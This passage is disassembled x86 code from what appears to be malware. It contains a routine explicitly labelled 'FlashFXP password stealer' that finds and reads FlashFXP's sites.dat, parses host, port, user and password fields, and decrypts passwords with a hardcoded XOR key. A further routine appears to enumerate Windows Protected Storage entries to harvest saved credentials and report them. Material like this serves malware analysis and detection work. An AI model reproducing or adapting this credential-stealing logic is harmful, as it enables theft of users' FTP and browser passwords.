		mov	ebx, offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
		call	sub_411522	; sscanf
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40FDA1
		inc	edi
		inc	edi

loc_40FD4A:				; CODE XREF: sub_40FD22+7Dj
		lea	eax, [ebp+arg_4]
		push	eax
		push	esi
		push	edi
		call	sub_411522	; sscanf
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40FDA1
		movsx	ecx, byte ptr [ebx]
		mov	eax, [ebp+arg_4]
		xor	eax, ecx
		inc	ebx
		cmp	[ebp+var_4], eax
		mov	[ebp+arg_4], eax
		jl	short loc_40FD71
		dec	eax
		mov	[ebp+arg_4], eax

loc_40FD71:				; CODE XREF: sub_40FD22+49j
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ecx], al
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	edi
		call	sub_411522	; sscanf
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40FDA1
		inc	edi
		inc	edi
		cmp	byte ptr [ebx],	0
		jnz	short loc_40FD9A
		mov	ebx, offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"

loc_40FD9A:				; CODE XREF: sub_40FD22+71j
		cmp	byte ptr [edi],	0
		jz	short loc_40FDA5
		jmp	short loc_40FD4A
; ---------------------------------------------------------------------------

loc_40FDA1:				; CODE XREF: sub_40FD22+24j
					; sub_40FD22+38j ...
		xor	eax, eax
		jmp	short loc_40FDAE
; ---------------------------------------------------------------------------

loc_40FDA5:				; CODE XREF: sub_40FD22+7Bj
		mov	eax, [ebp+arg_0]
		push	1
		and	byte ptr [eax],	0
		pop	eax

loc_40FDAE:				; CODE XREF: sub_40FD22+81j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FD22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FDB3	proc near		; CODE XREF: sub_40FEB8+2Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		lea	eax, [ebp+var_8]
		push	edi
		xor	edi, edi
		push	eax
		push	20019h
		push	edi
		push	offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
		push	80000002h
		mov	[ebp+var_8], edi
		call	dword_412000
		mov	ebx, [ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		push	edi
		push	edi
		push	edi
		mov	esi, 104h
		push	[ebp+var_8]
		mov	[ebp+var_C], esi
		call	dword_41200C
		push	[ebp+var_8]
		mov	[ebp+arg_0], eax
		call	dword_412028
		cmp	[ebp+arg_0], edi
		jnz	short loc_40FE42
		push	offset aFlashfxp_exe1 ;	"FlashFXP.exe %1"
		push	4
		push	ebx
		call	sub_405A0D
		add	esp, 0Ch
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40FE42
		push	offset aSites_dat ; "sites.dat"
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+0Fh]
		add	eax, 9
		push	ecx
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 10h

loc_40FE3D:				; CODE XREF: sub_40FDB3+B8j
					; sub_40FDB3+F1j
		push	1
		pop	eax
		jmp	short loc_40FEB3
; ---------------------------------------------------------------------------

loc_40FE42:				; CODE XREF: sub_40FDB3+53j
					; sub_40FDB3+6Aj
		push	esi
		push	ebx
		push	offset aProgramfiles ; "ProgramFiles"
		call	dword_41210C
		push	offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
		push	ebx
		call	sub_4114EE	; _mbscat
		mov	esi, offset aRb	; "rb"
		push	esi
		push	ebx
		call	sub_411506	; fopen
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40FE3D
		mov	eax, dword_4143A0
		mov	[ebp+var_4], eax

loc_40FE75:				; CODE XREF: sub_40FDB3+FCj
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_4120D0
		cmp	eax, 5
		jz	short loc_40FEA6
		cmp	eax, 2
		jz	short loc_40FEA6
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
		push	ebx
		call	sub_4114DC	; sprintf
		push	esi
		push	ebx
		call	sub_411506	; fopen
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40FE3D

loc_40FEA6:				; CODE XREF: sub_40FDB3+CFj
					; sub_40FDB3+D4j
		inc	byte ptr [ebp+var_4]
		cmp	byte ptr [ebp+var_4], 5Ah
		jz	short loc_40FEB1
		jmp	short loc_40FE75
; ---------------------------------------------------------------------------

loc_40FEB1:				; CODE XREF: sub_40FDB3+FAj
		xor	eax, eax

loc_40FEB3:				; CODE XREF: sub_40FDB3+8Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FDB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FEB8	proc near		; DATA XREF: sub_4101AE+29o

var_5C4		= byte ptr -5C4h
var_444		= byte ptr -444h
var_3C4		= byte ptr -3C4h
var_344		= byte ptr -344h
var_2C4		= byte ptr -2C4h
var_244		= dword	ptr -244h
var_240		= byte ptr -240h
var_A8		= byte ptr -0A8h
var_9C		= byte ptr -9Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5C4h
		push	1A7h
		lea	eax, [ebp+var_244]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_5C4]
		push	eax
		call	sub_40FDB3
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40FF03
		push	[ebp+var_244]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		jmp	locret_4101AA
; ---------------------------------------------------------------------------

loc_40FF03:				; CODE XREF: sub_40FEB8+36j
		mov	eax, [ebp+var_244]
		push	ebx
		push	esi
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_240]
		push	offset unk_4186C0
		push	eax
		call	sub_4096CB
		mov	al, [ebp+var_A8]
		xor	ebx, ebx
		mov	byte ptr [ebp+arg_0+3],	al
		lea	eax, [ebp+var_5C4]
		push	offset aRb	; "rb"
		push	eax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_A8], bl
		call	sub_411506	; fopen
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jz	loc_410199
		push	2
		push	ebx
		push	edi
		call	sub_411516	; fseek
		push	edi
		call	sub_4114F4	; ftell
		mov	esi, eax
		mov	eax, 100000h
		add	esp, 10h
		cmp	esi, eax
		jb	short loc_40FF73
		mov	esi, eax

loc_40FF73:				; CODE XREF: sub_40FEB8+B7j
		push	ebx
		push	ebx
		push	edi
		call	sub_411516	; fseek
		lea	eax, [esi+1]
		push	eax
		call	sub_4114C4	; malloc
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_10], eax
		push	edi
		jnz	short loc_40FF9A
		call	sub_411500	; fclose
		pop	ecx
		jmp	loc_410199
; ---------------------------------------------------------------------------

loc_40FF9A:				; CODE XREF: sub_40FEB8+D5j
		push	esi
		push	1
		push	eax
		call	sub_411510	; fread
		push	edi
		call	sub_411500	; fclose
		mov	eax, [ebp+var_10]
		add	esp, 14h
		mov	[eax+esi], bl
		mov	esi, eax

loc_40FFB4:				; CODE XREF: sub_40FEB8+29Dj
		push	offset asc_4186B8 ; "\r\n\r\n["
		push	esi
		call	sub_411528	; strstr
		push	offset aIp	; "\r\nIP="
		push	esi
		mov	edi, eax
		call	sub_411528	; strstr
		push	offset aPort	; "\r\nPort="
		push	esi
		mov	[ebp+var_14], eax
		call	sub_411528	; strstr
		push	offset aUser_0	; "\r\nUser="
		push	esi
		mov	[ebp+var_8], eax
		call	sub_411528	; strstr
		push	offset aPass_0	; "\r\nPass="
		push	esi
		mov	[ebp+var_C], eax
		call	sub_411528	; strstr
		add	esp, 28h
		cmp	[ebp+var_14], ebx
		mov	[ebp+var_1C], eax
		jz	loc_41014B
		cmp	edi, ebx
		jz	short loc_410012
		cmp	[ebp+var_14], edi
		jnb	loc_41014B

loc_410012:				; CODE XREF: sub_40FEB8+14Fj
		cmp	[ebp+var_8], ebx
		jz	loc_41014B
		cmp	edi, ebx
		jz	short loc_410028
		cmp	[ebp+var_8], edi
		jnb	loc_41014B

loc_410028:				; CODE XREF: sub_40FEB8+165j
		cmp	[ebp+var_C], ebx
		jz	loc_41014B
		cmp	edi, ebx
		jz	short loc_41003E
		cmp	[ebp+var_C], edi
		jnb	loc_41014B

loc_41003E:				; CODE XREF: sub_40FEB8+17Bj
		cmp	eax, ebx
		jz	loc_41014B
		cmp	edi, ebx
		jz	short loc_410052
		cmp	eax, edi
		jnb	loc_41014B

loc_410052:				; CODE XREF: sub_40FEB8+190j
		lea	eax, [ebp+var_444]

loc_410058:				; DATA XREF: .packed:off_415978o
		mov	[ebp+var_9C], bl
		push	eax
		push	offset asc_41868C ; "[%[^]]]\r\n"
		push	esi
		mov	[ebp+var_344], bl
		mov	[ebp+var_3C4], bl
		mov	[ebp+var_2C4], bl
		mov	[ebp+var_444], bl
		call	sub_411522	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset aIp127s	; "\r\nIP=%127s\r\n"
		push	[ebp+var_14]
		call	sub_411522	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_3C4]
		push	eax
		push	offset aPort127s ; "\r\nPort=%127s\r\n"
		push	[ebp+var_8]
		call	sub_411522	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_344]
		push	eax
		push	offset aUser127s ; "\r\nUser=%127s\r\n"
		push	[ebp+var_C]
		call	sub_411522	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_9C]
		push	eax
		push	offset aPass127s ; "\r\nPass=%127s\r\n"
		push	[ebp+var_1C]
		call	sub_411522	; sscanf
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_40FD22
		add	esp, 14h
		test	eax, eax
		jz	short loc_41015A
		inc	[ebp+var_4]
		push	3E8h
		call	dword_4120A4	; Sleep
		lea	eax, [ebp+var_444]
		push	eax
		lea	eax, [ebp+var_3C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_344]
		push	eax
		lea	eax, [ebp+var_240]
		push	[ebp+var_4]
		push	offset dword_418620
		push	eax
		call	sub_4096CB
		mov	eax, [ebp+var_244]
		add	esp, 20h
		cmp	[eax+4], ebx
		jnz	short loc_41015A

loc_41014B:				; CODE XREF: sub_40FEB8+147j
					; sub_40FEB8+154j ...
		inc	[ebp+var_18]
		cmp	edi, ebx
		jz	short loc_41015A
		lea	esi, [edi+4]
		jmp	loc_40FFB4
; ---------------------------------------------------------------------------

loc_41015A:				; CODE XREF: sub_40FEB8+23Ej
					; sub_40FEB8+291j ...
		push	[ebp+var_10]
		call	sub_4114CA	; free
		mov	al, byte ptr [ebp+arg_0+3]
		pop	ecx
		push	3E8h
		mov	[ebp+var_A8], al
		call	dword_4120A4	; Sleep
		push	[ebp+var_18]
		mov	eax, [ebp+var_244]
		push	[ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_240]
		push	offset unk_4185E4
		push	eax
		call	sub_4096CB
		add	esp, 14h

loc_410199:				; CODE XREF: sub_40FEB8+96j
					; sub_40FEB8+DDj
		push	[ebp+var_244]
		call	sub_406E6F
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx

locret_4101AA:				; CODE XREF: sub_40FEB8+46j
		leave
		retn	4
sub_40FEB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4101AE	proc near		; CODE XREF: sub_407A76+4CAp

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4101E4
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aFlashfxpPasswo ; "FlashFXP password stealer"
		push	0
		push	esi
		push	offset sub_40FEB8
		call	sub_406D58
		add	esp, 10h

loc_4101E4:				; CODE XREF: sub_4101AE+10j
		pop	esi
		retn
sub_4101AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4101E6	proc near		; DATA XREF: sub_41094B+32o
		mov	eax, offset loc_411980
		call	sub_4117C8
		sub	esp, 0F98h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-290h]
		push	eax
		call	sub_4114D0	; memcpy
		push	dword ptr [ebp+8]
		call	sub_4114CA	; free
		add	esp, 10h
		xor	ebx, ebx
		lea	eax, [ebp-14h]
		push	ebx
		push	ebx
		push	ebx
		push	eax
		mov	[ebp-4], ebx
		mov	[ebp-14h], ebx
		call	dword_419220
		cmp	eax, ebx
		jge	short loc_410242
		push	dword ptr [ebp-290h]
		call	sub_406E6F
		pop	ecx
		jmp	loc_410927
; ---------------------------------------------------------------------------

loc_410242:				; CODE XREF: sub_4101E6+49j
		cmp	[ebp-14h], ebx
		mov	byte ptr [ebp-4], 1
		mov	[ebp-1Ch], ebx
		jnz	short loc_410258
		push	80004003h
		call	sub_4117F0

loc_410258:				; CODE XREF: sub_4101E6+66j
		mov	esi, [ebp-14h]
		lea	ecx, [ebp-1Ch]
		push	ecx
		push	ebx
		mov	eax, [esi]
		push	ebx
		push	esi
		call	dword ptr [eax+38h]
		cmp	eax, ebx
		jge	short loc_410288
		push	offset dword_418950
		push	esi
		push	eax
		call	sub_4117FE
		push	dword ptr [ebp-290h]
		call	sub_406E6F
		pop	ecx
		jmp	loc_410917
; ---------------------------------------------------------------------------

loc_410288:				; CODE XREF: sub_4101E6+83j
		mov	eax, [ebp-290h]
		push	dword ptr [eax]
		lea	eax, [ebp-28Ch]
		push	offset unk_41891C
		push	eax
		call	sub_4096CB
		mov	al, [ebp-0F4h]
		add	esp, 0Ch
		mov	[ebp-10h], ebx
		mov	[ebp+0Bh], al
		mov	[ebp-0F4h], bl

loc_4102B6:				; CODE XREF: sub_4101E6+6E2j
					; sub_4101E6+6EEj
		cmp	[ebp-1Ch], ebx
		jnz	short loc_4102C5
		push	80004003h
		call	sub_4117F0

loc_4102C5:				; CODE XREF: sub_4101E6+D3j
		mov	eax, [ebp-1Ch]
		lea	edx, [ebp-40h]
		push	ebx
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_4108D9
		mov	eax, [ebp-290h]
		cmp	[eax+4], ebx
		jnz	loc_4108D9
		sub	esp, 10h
		lea	esi, [ebp-40h]
		mov	edi, esp
		lea	eax, [ebp-84h]
		movsd
		movsd
		movsd
		push	offset asc_418918 ; "%x"
		push	eax
		movsd
		call	dword_4121EC
		add	esp, 18h
		cmp	[ebp-14h], ebx
		mov	byte ptr [ebp-4], 2
		mov	[ebp-24h], ebx
		jnz	short loc_410323
		push	80004003h
		call	sub_4117F0

loc_410323:				; CODE XREF: sub_4101E6+131j
		mov	esi, [ebp-14h]
		lea	ecx, [ebp-24h]
		push	ecx
		lea	ecx, [ebp-40h]
		mov	eax, [esi]
		push	ebx
		push	ecx
		push	ebx
		push	esi
		call	dword ptr [eax+3Ch]
		cmp	eax, ebx
		jge	short loc_410346
		push	offset dword_418950
		push	esi
		push	eax
		call	sub_4117FE

loc_410346:				; CODE XREF: sub_4101E6+152j
					; sub_4101E6+6C8j ...
		cmp	[ebp-24h], ebx
		jnz	short loc_410355
		push	80004003h
		call	sub_4117F0

loc_410355:				; CODE XREF: sub_4101E6+163j
		mov	eax, [ebp-24h]
		lea	edx, [ebp-50h]
		push	ebx
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_4108BF
		cmp	[ebp-14h], ebx
		mov	byte ptr [ebp-4], 3
		mov	[ebp-28h], ebx
		jnz	short loc_410383
		push	80004003h
		call	sub_4117F0

loc_410383:				; CODE XREF: sub_4101E6+191j
		mov	esi, [ebp-14h]
		lea	ecx, [ebp-28h]
		push	ecx
		lea	ecx, [ebp-50h]
		mov	eax, [esi]
		push	ebx
		push	ecx
		lea	ecx, [ebp-40h]
		push	ecx
		push	ebx
		push	esi
		call	dword ptr [eax+54h]
		cmp	eax, ebx
		jge	short loc_4103AA
		push	offset dword_418950
		push	esi
		push	eax
		call	sub_4117FE

loc_4103AA:				; CODE XREF: sub_4101E6+1B6j
					; sub_4101E6+6BAj
		cmp	[ebp-28h], ebx
		jnz	short loc_4103B9
		push	80004003h
		call	sub_4117F0

loc_4103B9:				; CODE XREF: sub_4101E6+1C7j
		mov	eax, [ebp-28h]
		lea	edx, [ebp-30h]
		push	ebx
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_4108A5
		push	dword ptr [ebp-30h]
		mov	edi, dword_4121EC
		lea	eax, [ebp-7BCh]
		push	offset aWs	; "%ws"
		push	eax
		call	edi
		add	esp, 0Ch
		cmp	[ebp-14h], ebx
		mov	[ebp-20h], ebx
		mov	[ebp-18h], ebx
		jnz	short loc_410400
		push	80004003h
		call	sub_4117F0

loc_410400:				; CODE XREF: sub_4101E6+20Ej
		push	ebx
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		mov	esi, [ebp-14h]
		lea	ecx, [ebp-20h]
		push	ecx
		lea	ecx, [ebp-50h]
		push	dword ptr [ebp-30h]
		mov	eax, [esi]
		push	ecx
		lea	ecx, [ebp-40h]
		push	ecx
		push	ebx
		push	esi
		call	dword ptr [eax+44h]
		cmp	eax, ebx
		jge	short loc_41042F
		push	offset dword_418950
		push	esi
		push	eax
		call	sub_4117FE

loc_41042F:				; CODE XREF: sub_4101E6+23Bj
		push	dword ptr [ebp-18h]
		call	sub_4114BE	; strlen
		mov	esi, [ebp-20h]
		pop	ecx
		lea	ecx, [esi-1]
		cmp	eax, ecx
		jnb	short loc_410475
		xor	ecx, ecx
		xor	edx, edx
		cmp	esi, ebx
		jbe	short loc_41046C

loc_41044A:				; CODE XREF: sub_4101E6+284j
		mov	eax, [ebp-18h]
		mov	al, [edx+eax]
		cmp	al, bl
		jnz	short loc_41045E
		mov	byte ptr [ebp+ecx-5BCh], 2Ch
		jmp	short loc_410465
; ---------------------------------------------------------------------------

loc_41045E:				; CODE XREF: sub_4101E6+26Cj
		mov	[ebp+ecx-5BCh],	al

loc_410465:				; CODE XREF: sub_4101E6+276j
		inc	ecx
		inc	edx
		inc	edx
		cmp	edx, esi
		jb	short loc_41044A

loc_41046C:				; CODE XREF: sub_4101E6+262j
		mov	[ebp+ecx-5BDh],	bl
		jmp	short loc_410489
; ---------------------------------------------------------------------------

loc_410475:				; CODE XREF: sub_4101E6+25Aj
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-5BCh]
		push	offset dword_413B6C
		push	eax
		call	edi
		add	esp, 0Ch

loc_410489:				; CODE XREF: sub_4101E6+28Dj
		mov	esi, dword_412104
		mov	edi, offset byte_4191D0
		lea	eax, [ebp-0FA4h]
		push	edi
		push	eax
		call	esi
		lea	eax, [ebp-9BCh]
		push	edi
		push	eax
		call	esi
		mov	esi, dword_412110
		lea	eax, [ebp-84h]
		push	offset a220d5cc1 ; "220d5cc1"
		push	eax
		call	esi
		test	eax, eax
		jnz	short loc_4104F0
		inc	dword ptr [ebp-10h]
		cmp	[ebp-0F7h], bl
		jnz	short loc_4104F0
		lea	eax, [ebp-5BCh]
		push	eax
		lea	eax, [ebp-7BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_4188C8
		push	eax
		call	sub_4096CB
		add	esp, 14h

loc_4104F0:				; CODE XREF: sub_4101E6+2D8j
					; sub_4101E6+2E3j
		lea	eax, [ebp-84h]
		push	offset a5e7e8100 ; "5e7e8100"
		push	eax
		call	esi
		test	eax, eax
		jnz	loc_410597
		mov	edi, dword_412104
		lea	eax, [ebp-358h]
		push	offset byte_4191D0
		push	eax
		call	edi
		mov	esi, offset asc_413528 ; ":"
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41055D
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		inc	eax
		pop	ecx
		push	eax
		lea	eax, [ebp-358h]
		push	eax
		call	edi
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx

loc_41055D:				; CODE XREF: sub_4101E6+34Aj
		inc	dword ptr [ebp-10h]
		push	3E8h
		call	dword_4120A4	; Sleep
		lea	eax, [ebp-358h]
		push	eax
		lea	eax, [ebp-5BCh]
		push	eax
		lea	eax, [ebp-7BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_418864
		push	eax
		call	sub_4096CB
		add	esp, 18h

loc_410597:				; CODE XREF: sub_4101E6+31Aj
		lea	eax, [ebp-84h]
		push	offset aB9819c52 ; "b9819c52"
		push	eax
		call	dword_412110
		test	eax, eax
		jnz	loc_410705
		mov	eax, [ebp-18h]
		xor	edi, edi
		xor	esi, esi
		cmp	[ebp-20h], ebx
		jbe	short loc_410600

loc_4105BD:				; CODE XREF: sub_4101E6+418j
		mov	cl, [esi+eax]
		cmp	cl, bl
		jnz	short loc_4105CE
		mov	byte ptr [ebp+edi-5BCh], 2Ch
		jmp	short loc_4105F8
; ---------------------------------------------------------------------------

loc_4105CE:				; CODE XREF: sub_4101E6+3DCj
		push	ecx
		call	dword_412200
		test	eax, eax
		mov	eax, [ebp-18h]
		jnz	short loc_4105EE
		mov	cl, [esi+eax]
		cmp	cl, 40h
		jz	short loc_4105EE
		cmp	cl, 2Eh
		jz	short loc_4105EE
		cmp	cl, 5Fh
		jnz	short loc_4105F9

loc_4105EE:				; CODE XREF: sub_4101E6+3F4j
					; sub_4101E6+3FCj ...
		mov	cl, [esi+eax]
		mov	[ebp+edi-5BCh],	cl

loc_4105F8:				; CODE XREF: sub_4101E6+3E6j
		inc	edi

loc_4105F9:				; CODE XREF: sub_4101E6+406j
		inc	esi
		inc	esi
		cmp	esi, [ebp-20h]
		jb	short loc_4105BD

loc_410600:				; CODE XREF: sub_4101E6+3D5j
		mov	[ebp+edi-5BDh],	bl
		cmp	[eax+4], bl
		lea	esi, [ebp-5BAh]
		mov	[ebp-2Ch], ebx
		jbe	loc_410705

loc_410619:				; CODE XREF: sub_4101E6+519j
		inc	esi
		lea	eax, [ebp-3BCh]
		push	esi
		push	eax
		call	dword_412104
		mov	edi, offset dword_418854
		lea	eax, [ebp-3BCh]
		push	edi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410651
		lea	eax, [ebp-3BCh]
		push	edi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx

loc_410651:				; CODE XREF: sub_4101E6+458j
		push	edi
		push	esi
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410677
		push	edi
		push	esi
		call	sub_411528	; strstr
		pop	ecx
		inc	eax
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0E8h]
		push	eax
		call	dword_412104

loc_410677:				; CODE XREF: sub_4101E6+476j
		lea	eax, [ebp-0E8h]
		push	edi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41069B
		lea	eax, [ebp-0E8h]
		push	edi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx

loc_41069B:				; CODE XREF: sub_4101E6+4A2j
		push	edi
		push	esi
		call	sub_411528	; strstr
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	eax, [ebp-0E8h]
		push	eax
		call	dword_412040	; lstrlen
		inc	dword ptr [ebp-10h]
		push	3E8h
		lea	esi, [esi+eax+9]
		call	dword_4120A4	; Sleep
		cmp	[ebp-0F7h], bl
		jnz	short loc_4106F2
		lea	eax, [ebp-0E8h]
		push	eax
		lea	eax, [ebp-3BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_418814
		push	eax
		call	sub_4096CB
		add	esp, 14h

loc_4106F2:				; CODE XREF: sub_4101E6+4E5j
		mov	eax, [ebp-18h]
		inc	dword ptr [ebp-2Ch]
		movzx	eax, byte ptr [eax+4]
		cmp	[ebp-2Ch], eax
		jl	loc_410619

loc_410705:				; CODE XREF: sub_4101E6+3C5j
					; sub_4101E6+42Dj
		lea	eax, [ebp-84h]
		push	offset aE161255a ; "e161255a"
		push	eax
		call	dword_412110
		test	eax, eax
		jnz	loc_41087C
		lea	eax, [ebp-7BCh]
		push	offset aStringindex ; "StringIndex"
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41087C
		mov	esi, offset dword_4187F4
		lea	eax, [ebp-7BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410763
		lea	eax, [ebp-7BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx

loc_410763:				; CODE XREF: sub_4101E6+56Aj
		lea	eax, [ebp-7BCh]
		push	8
		push	eax
		lea	eax, [ebp-358h]
		push	eax
		call	dword_412108
		lea	eax, [ebp-358h]
		push	offset dword_4187EC
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4107EB
		lea	eax, [ebp-358h]
		push	offset dword_4187E4
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4107EB
		inc	dword ptr [ebp-10h]
		push	3E8h
		call	dword_4120A4	; Sleep
		cmp	[ebp-0F7h], bl
		jnz	loc_41087C
		lea	eax, [ebp-5BCh]
		push	eax
		lea	eax, [ebp-7BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_41879C
		push	eax
		call	sub_4096CB
		add	esp, 14h
		jmp	loc_41087C
; ---------------------------------------------------------------------------

loc_4107EB:				; CODE XREF: sub_4101E6+5A8j
					; sub_4101E6+5BFj
		mov	edi, dword_412104
		lea	eax, [ebp-358h]
		push	offset byte_4191D0
		push	eax
		call	edi
		mov	esi, offset dword_418854
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410842
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		inc	eax
		pop	ecx
		push	eax
		lea	eax, [ebp-358h]
		push	eax
		call	edi
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_411528	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx

loc_410842:				; CODE XREF: sub_4101E6+62Fj
		inc	dword ptr [ebp-10h]
		push	3E8h
		call	dword_4120A4	; Sleep
		lea	eax, [ebp-358h]
		push	eax
		lea	eax, [ebp-5BCh]
		push	eax
		lea	eax, [ebp-7BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_418740
		push	eax
		call	sub_4096CB
		add	esp, 18h

loc_41087C:				; CODE XREF: sub_4101E6+533j
					; sub_4101E6+54Ej ...
		mov	esi, 200h
		lea	eax, [ebp-7BCh]
		push	esi
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		push	esi
		lea	eax, [ebp-5BCh]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		add	esp, 18h
		jmp	loc_4103AA
; ---------------------------------------------------------------------------

loc_4108A5:				; CODE XREF: sub_4101E6+1E5j
		mov	eax, [ebp-28h]
		mov	byte ptr [ebp-4], 2
		cmp	eax, ebx
		jz	loc_410346
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_410346
; ---------------------------------------------------------------------------

loc_4108BF:				; CODE XREF: sub_4101E6+181j
		mov	eax, [ebp-24h]
		mov	byte ptr [ebp-4], 1
		cmp	eax, ebx
		jz	loc_4102B6
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_4102B6
; ---------------------------------------------------------------------------

loc_4108D9:				; CODE XREF: sub_4101E6+F1j
					; sub_4101E6+100j
		mov	al, [ebp+0Bh]
		push	3E8h
		mov	[ebp-0F4h], al
		call	dword_4120A4	; Sleep
		push	dword ptr [ebp-10h]
		mov	eax, [ebp-290h]
		push	dword ptr [eax]
		lea	eax, [ebp-28Ch]
		push	offset unk_418704
		push	eax
		call	sub_4096CB
		push	dword ptr [ebp-290h]
		call	sub_406E6F
		add	esp, 14h

loc_410917:				; CODE XREF: sub_4101E6+9Dj
		mov	eax, [ebp-1Ch]
		mov	[ebp-4], bl
		cmp	eax, ebx
